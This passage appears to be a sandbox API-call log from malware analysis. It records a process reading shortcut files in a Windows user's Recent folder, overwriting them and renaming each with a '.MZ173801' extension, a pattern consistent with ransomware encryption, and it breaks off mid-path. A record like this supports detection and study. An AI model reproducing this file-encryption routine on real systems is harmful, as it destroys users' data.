lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\he60tRzePztsrtC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\he60trzepztsrtc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.298] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.298] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.298] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xe4b [0121.298] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.298] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xe4b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xe4b, lpOverlapped=0x0) returned 1 [0121.299] CloseHandle (hObject=0x288) returned 1 [0121.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\he60tRzePztsrtC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\he60trzepztsrtc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.301] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xe4b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xe4b, lpOverlapped=0x0) returned 1 [0121.302] CloseHandle (hObject=0x288) returned 1 [0121.310] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\he60tRzePztsrtC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\he60trzepztsrtc.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\he60tRzePztsrtC.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\he60trzepztsrtc.lnk.mz173801")) returned 1 [0121.311] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf643b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf643b00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf643b00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa4d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="hjg_Wz99z1qLZ.lnk", cAlternateFileName="HJG_WZ~1.LNK")) returned 1 [0121.311] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.311] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.311] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hjg_Wz99z1qLZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjg_wz99z1qlz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf643b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf643b00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf643b00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa4d)) returned 1 [0121.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hjg_Wz99z1qLZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjg_wz99z1qlz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.314] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.314] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.314] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa4d [0121.314] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.314] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa4d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa4d, lpOverlapped=0x0) returned 1 [0121.315] CloseHandle (hObject=0x288) returned 1 [0121.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hjg_Wz99z1qLZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjg_wz99z1qlz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.316] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa4d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa4d, lpOverlapped=0x0) returned 1 [0121.317] CloseHandle (hObject=0x288) returned 1 [0121.318] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hjg_Wz99z1qLZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjg_wz99z1qlz.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hjg_Wz99z1qLZ.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjg_wz99z1qlz.lnk.mz173801")) returned 1 [0121.319] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf3700e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf3700e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf3700e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xef1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="HoMGKUXklaWv Dlr.lnk", cAlternateFileName="HOMGKU~1.LNK")) returned 1 [0121.319] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.319] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.319] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HoMGKUXklaWv Dlr.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\homgkuxklawv 